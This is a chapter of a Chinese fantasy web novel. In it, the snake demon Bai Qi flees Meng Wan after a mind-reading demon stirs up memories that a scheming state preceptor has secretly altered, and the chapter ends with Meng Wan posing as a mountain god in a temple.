眼前发生的一切过于震撼,白绮内心许久未能平静,身体像是被霜雪凝冻住一样僵在原地。诵咒的声音清晰可辨,她脚下的地面上是从未见过的阵法。
“剥掉她的皮!”
白绮心慌意乱,本能地想要逃走身体却动弹不得。眼前念咒之人似乎比炎炎烈日还要灼眼,她双眸疼得无法睁开。
细细密密的疼痛爬满全身,像无数利刃划破每一寸肌肤,便在她以为自己承受不住就要昏厥过去的时候,脑海里突然发出一声巨响,眼前白光乍现,记忆像被切割成碎片坠落,不知坠向何处。
“白绮姑娘?”国师的声音逐渐清晰。
白绮猛地睁开双眼,寝殿内,榻上躺着南箴的父亲,并非她进殿时见到的那副形容。而唤醒她的国师,早已不知去向。
“师父,你醒了,可有哪里不适?”
孟纨乍一睁眼,便撞上少翁担忧的眼神,一时未能反应过来发生了什么,“何事如此慌张?”
少翁捡重要的消息三言两语把事情说清楚,孟纨直直从榻上坐起身来。
“白绮在哪里?”
“师父放心,小白蛇被国师请去了。”见孟纨已无大碍,少翁放下心来。
孟纨越听越觉出蹊跷,行至国主的寝殿门外,正好撞上踉跄着从殿内跑出来的白绮。
白绮垂首正琢磨恢复的部分记忆,忽然瞥见一个人影站在面前,抬眼一看,记忆里熟悉的慌乱感重现,她先是猛地往后退开数步,定了定神又觉出不妥。
眼下的情形——太危险了。
毕竟,眼前之人,正是四处追杀她,最终将她剥皮并封印之人。
她拼命往前跑,与孟纨擦肩而过时用力推开他,将孟纨推了个趔趄。白绮一面往前飞奔,身形倏地变幻成一条小白蛇,眼前的情形与记忆里重合,她又在逃命。
“小白蛇?”三个徒弟扶稳孟纨,面面相觑,全然不知发生了何事。
孟纨怔怔地望着白绮逐渐远去的背影,他在梦境里见过无数次模糊的身影,这一次,却无比清晰。白绮头也不回离去的身影像是从他心尖上踏过,一寸一寸碾得踏实而有力。
“师父,你怎么了?”慕心发现孟纨神色有些不对劲。
少翁盯着孟纨打量半晌,略显迟疑,“莫非尚未痊愈?”
念卿终于开窍了,“你们是不是傻,小白蛇不告而别,师父这……一看便是伤心过度啊!”
南箴等人围上前来,纷纷猜测白绮突然离去是因何缘故。
“前辈,白绮姑娘或是被妖物看穿心思,想起了什么伤心之事。”国师站在众人身后,斟酌着道。
便在众人怀疑孟纨被石化了,他才慢吞吞地从徒弟们的拥护中挣脱出来,“究竟发生了何事?”
孟纨并未如梦境里那般朝白绮消失的方向追去,他尚余几分清明,将心底翻涌的情绪按下,强忍着不外露。
国师面上流露出盲然的神色,“具体不知情,国主有被妖物完全操控的迹象,我便遣人去请前辈,得知前辈尚未苏醒。白绮姑娘只身进殿,岂料……”
他一副痛心疾首的形容,又像是悔恨不已,“我应当同她一起进去……”
“那妖物?”孟纨举步上了石阶。
国师让开身形,“妖物暂且未动,还请前辈想法子驱除。”
孟纨推门进殿,殿内并无异样,逐月国国主安详地躺在榻上。
“记得自己是谁吗?”一个模糊的声音突兀地在殿内响起,听不出任何情绪。
孟纨站定身形朝榻上之人望去,“这对我无用。”果真如他猜测的那般,此物惯用的招数——先行用一个常见的问题打开猎物的心扉。
“觉”有此一问的目的并非在于猎物如何回应,而是借此契机触动猎物的心思。常人乍一听闻此言,难免心神一动,进而让“觉”有机可乘。
孟纨没有灵,并非是一个完美的猎物,或是说,他压根算不上猎物。
一击没能够得逞,“觉”再接再厉,翻来覆去却是重复同样的问题:“记得自己是谁吗?”
孟纨不动,只安静地站在殿内听它逐渐变得急切的声音。
倘或白绮被它看透了心思,“觉”此刻应是处于“酒足饭饱”的状态,面对一个没有灵的人,也束手无策。
时间悄然消失,“觉”频繁施展妖术,逐渐饥肠辘辘。
殿外众人心急如焚,纷纷在原地踱步打转。
天将破晓,国师举目望向初现的晨光,笑颜渐渐绽开。身后的殿门“嘎吱”一声被人推开,他一回首,只见孟纨神色疲倦,整个身形笼罩在暖阳照耀下。
一个没有灵的人,果然不能与常人相提并论,“觉”那般厉害的角色也拿他无法。
国师昔日奉命前往皇宫降妖,见到“觉”的第一眼,内心抑制不住的悸动。他终于见到了朝思暮想魂牵梦萦的那个人,也正因为如此被“觉”看透心思着了道,最终惨败。
逐月国国主请来的驱魔师水平欠佳,全军覆没,被妖物附身的王后因此殒命。
公主殿下知情后对国主心生龃龉,初见时对国师另眼相待的情分也化为乌有。自此脱离皇家身份,立誓成为一名潜心修行的驱魔师。
他哪算得什么驱魔师,季澜也并非是他的本名,只是他醒来后占据的这具躯体的名字。他是幸运的,记得前世发生的一切;他又是不幸的,法力尽失,只能依靠这具身体习得的术法布阵。
无数次轮回,他踏遍世间多少土地,却未寻得白绮半分气息。他魔怔了一般放出数不清的妖物,却没有一只认得白绮,遑论找到白绮的真身。
白绮像是从世间消失了一样,踪迹全无。
“觉”这类妖物,与其说是“读心”,不如说“吞噬人心”来得贴切。人在想什么,“觉”一眼便能看穿。接二连三地被“觉”说中心中所想的时候,人的心最终就变成空壳了。(1)
再如何不可一世的妖物,最终也是驱魔师刀下的亡魂,遑论如他这般善用阵法的再生之人。
“觉”也不例外,终究沦为为他所用的傀儡。
白绮被“觉”看穿心思后恢复的记忆真真假假,不过是他操控“觉”抹掉或篡改了某些珍贵记忆,也是与真相相关的最为关键的部分。
白绮信以为真,他的目的达到了。
“前辈,如何了?”国师强忍住内心激动的情绪,故作忧心忡忡的模样看向孟纨,一双眼眸澄澈如清泉。
“国主无碍。”孟纨言简意赅。
国主恢复意识,意味着“觉”已被驱除。
“觉”以人的心思为食,孟纨没有灵,它无法看穿孟纨的心思,饥饿而死。
这一切尚在国师的计划当中,他的目的已达到,“觉”这样危险的妖物迟早会被
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除掉,留着只会沦为祸患。
“白绮姑娘往哪里去了?”他早已趁白绮沉浸在突然恢复的记忆里时在她身上放了追踪符,此刻正满心期待着孟纨一行人离开。
孟纨默不作声,错开身形迈下石阶,领着徒弟们离开了皇宫。
“殿下,进去看看吧,陛下很是思念你。”国师并不打算提前暴露身份,按部就班把后续事宜安排妥当。
及至此刻,南箴才表现得像是一个父亲的女儿,眼角挤出几滴泪来。
“父王,切身体会过被妖物附身是怎样一种滋味?”
恢复意识不久的国主听闻此言,气得险些当场再度昏厥过去,“箴儿,你母后的事,是你错怪父王了。”
南箴显然无意与他纠结于谁是谁非,“如今说这些又有何用?母后已故去五年有余,你还记得她长什么样子吗?”
国主连连咳嗽,咳得面色紫红一片。南箴并未等他回答,自顾自道:“与妖物做交易的人是你,因此丧命的却是母后。皇权固然重要,你们自小一起长大的情谊不堪一击。如今你也算是自食恶果,可怜母后对你一片赤忱,你不配。”
“箴儿……”国主颤巍巍地想要从榻上起身,身体却虚弱得无力支撑,复又躺倒下去。
南箴步子迈得飞快,只眨眼的功夫,人已经出了寝殿,“我不会再来皇宫,你好自为之。”她的声音随着逐渐远去的背影消散。
小白蛇逃命的速度极快,刚恢复的记忆时刻警醒着她,孟纨便是那个将她封印在太苍山的人。孟纨为何要封印她?单纯因她是千年蛇妖,或是她作恶多端,不可饶恕?
她在国主殿内看见的老者究竟是谁?直觉告诉她,那不是南箴的父亲。她被妖物看穿心思的时候国师又在何处,为何不唤醒她。
“苍天啊,睁开眼看看吧……”
白绮正在杂草丛中穿行,忽闻一阵悲痛欲绝的啼哭声传来。她探出头去四下打量,只见一队送葬的人扶着棺材往前行。
她正打算待他们通过之后再出去变幻人形透透气,忽然看见三个熟悉的身影与送葬队伍擦身而过。
正是不久前在宫里打过照面的南箴与温霆玉,还有……国师?他们不待在皇宫内照看国主,来此地做什么?
送葬队伍痛哭流涕敲敲打打渐渐走远,国师却突然顿住步伐朝白绮藏身的草丛看来,他拧紧眉头看了许久都未移开视线。
白绮大吃一惊,莫非国师有透视眼,隔着层层叠叠树木草丛也能看见她——一条小白蛇的身体。
“大师兄,你看什么呢?”温霆玉终于发现国师的神色有些不对。
国师莞尔一笑,抬手指了指白绮所在的方向,“那里有异象。”
白绮已是大惊失色,她早已能够熟稔地控制自身的妖气了,国师当真如此厉害能隔空看见所谓的异象?
她心底对国师尚有诸多疑虑,藏身暗处恰好能暗中打探情况,眼见盘算即将落空。
她实是觉出国师此人疑点重重,未能捋清楚为何国师同她说了一句话,她便中计,被那只妖物牵着鼻子走。
她分明记得刚进殿的时候国师在殿内,她被妖物看穿心思时似乎还听见了国师的声音。为何醒来后国师却在殿外与众人一起等候,而其余人并无异议。彼时场面太过混乱,她都没来记得询问众人究竟发生了什么。
白绮整理好情绪欲继续潜行,身后乍然传来一阵窸窸窣窣的动静。旋即,一道声音哆嗦着传来:“道长饶命,小老儿乃镇守此间的山神,因无人供奉沦落至此。”
她循声望去,一个……葫芦形状的东西晃晃悠悠地从她身旁经过,霎时间身形已至国师面前,恭恭敬敬朝三人作揖。
未被国师的火眼金睛发现藏身之处,她暗自松了一口气。
静观其变,白绮当下做出决定。
只须不被孟纨抓住,其余人皆不足为虑。
她一路跟着南箴等人在密林中潜行,想知道他们与她前后脚离开皇宫究竟欲为何事,何等要事竟是比国主的安危更重要。
不知走了多久,白绮口干舌燥,根本没功夫停下来稍作歇息。那三人像是感觉不到疲惫一样,披星戴月马不停蹄地一路往前赶路,连带那位葫芦形状的山神也移动得飞快。
时值黄昏,南箴一行人终于停下脚步。白绮打眼一看,一座修建完善的山神庙矗立在眼前,可谓是门庭若市,人来人往好不热闹,与葫芦山神描述的“无人供奉”似乎相差甚远。
“老神仙,来您这山神庙里供奉的人不少。”南箴似笑非笑看向地上的葫芦。
葫芦山神闻言十分心急,赶忙解释:“假象,都是假象,百姓供奉的人并非是我。”
国师像是生出了些许兴致,一挑眉,问:“此地还有别的山神?”
“非也。鸠占鹊巢,你们懂的吧?”葫芦山神一脸怨忿,形容得颇为贴切。
白绮跟在几人身后往热闹非凡的山神庙去,她趴在屋顶上往里瞧,这一瞧险些教她直直栽倒下去。
山神庙里,原本摆放神像的位置早已不见神像的踪迹,而是被一个活生生的人替代。
莫说小白蛇震惊到僵在原地,便是南箴等人,以及那位信誓旦旦称是被旁人鸠占鹊巢的葫芦山神也惊呆了。
那位在神像的位置打坐的人——不是别人,正是孟纨。三个徒弟并排站在他身后,正努力扮演凶神恶煞的护法。